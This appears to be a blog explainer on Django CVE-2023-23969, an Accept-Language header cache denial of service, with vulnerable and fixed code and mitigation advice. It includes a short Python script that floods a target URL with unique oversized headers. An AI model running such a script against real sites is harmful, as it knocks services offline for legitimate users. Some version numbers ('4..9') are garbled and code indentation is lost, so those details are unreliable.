In web development, popular frameworks like Django are always aiming for better performance and security. However, sometimes optimization features can open doors to new risks. CVE-2023-23969 is one such issue. In this explainer, we’ll unravel what happened, how it works, see some code, and learn how to keep your Django apps safe.
4.1 before 4.1.6
This bug allowed a client (such as a malicious bot) to send a very large Accept-Language HTTP header, which Django would then parse and cache for efficiency. If many unique huge headers were sent, Django’s cache could balloon in memory use, potentially denying service to legitimate visitors (i.e., a Denial of Service, or DoS).
How Did This Vulnerability Happen?
Django tries to be fast. Every time a request comes in, the framework needs to figure out the user's language using the Accept-Language header. To save time, Django caches the parsed value so it doesn't do the heavy work twice for the same value.
HTTP headers, including Accept-Language, can be pretty long (in theory, several kilobytes!).
- If an attacker sends a new, gigantic header every time, Django stores every parsed version in memory.
Do this enough times, and your server’s memory is full—quickly!
This is called an unbounded cache key problem.
Below is a simplified version of what Django was previously doing
# Warning: For illustration only.
accept_language_cache = {}
def get_accept_languages(header_value):
if header_value in accept_language_cache:
return accept_language_cache[header_value]
# Parse the Accept-Language header
parsed = parse_accept_language(header_value)
accept_language_cache[header_value] = parsed
return parsed
A smart attacker can send headers like
Accept-Language: xaaaaaaaaaaaaaaaaaaaaaaaaaa
Accept-Language: xbbbbbbbbbbbbbbbbbbbbbbbbbb
Accept-Language: xc...
And soon, the accept_language_cache is packed with junk, blowing up memory use.
How Can Attackers Exploit This?
Here’s a simple Python script (for educational demonstration ONLY) to simulate how an attacker could send many large headers to a Django site:
import requests
TARGET_URL = "https://victim-django-app.com"; # Change this to the real target
for i in range(10000): # Try sending 10,000 unique headers
header_value = 'x' + str(i).zfill(8) * 100
headers = {'Accept-Language': header_value}
try:
requests.get(TARGET_URL, headers=headers, timeout=2)
except Exception as e:
print("Request failed:", e)
(Do not use this script against sites you do not own!)
Each request uses a slightly different, very large Accept-Language, so the cache grows out of control.
The Django team fixed this in the following security releases
- 3.2.17
- 4..9
- 4.1.6
The main fix:
Django now ignores Accept-Language headers that are "unusually" large (over 1024 bytes) and no longer caches headers that are too big or unparseable.
Code from the fix: (PR on GitHub)
# Simplified fixed logic
MAX_HEADER_LENGTH = 1024
def get_accept_languages(header_value):
if len(header_value) > MAX_HEADER_LENGTH:
# Skip caching excessively long headers
return []
# ...cache logic continues as before
How To Protect Your Django App
1. Upgrade Django!
If you’re running Django < 3.2.17, < 4..9, < 4.1.6, upgrade immediately. See the full release notes here:
- Django Security Advisory (CVE-2023-23969)
- Django’s disclosure
2. Set Up a Reverse Proxy
Limit incoming HTTP header sizes in your web server (e.g., Nginx, Apache). For example, in nginx.conf:
large_client_header_buffers 4 4k;
Or for Apache
LimitRequestFieldSize 1024
3. Monitor Your Logs
Watch for spikes in weird or huge headers. Tools like Fail2Ban can help block automatic attackers.
Further Reading
- Django Security Release Notes
- CVE Details
- Official Django Bugfix Commit
Timeline
Published on: 02/01/2023 19:15:00 UTC
Last modified on: 03/02/2023 16:15:00 UTC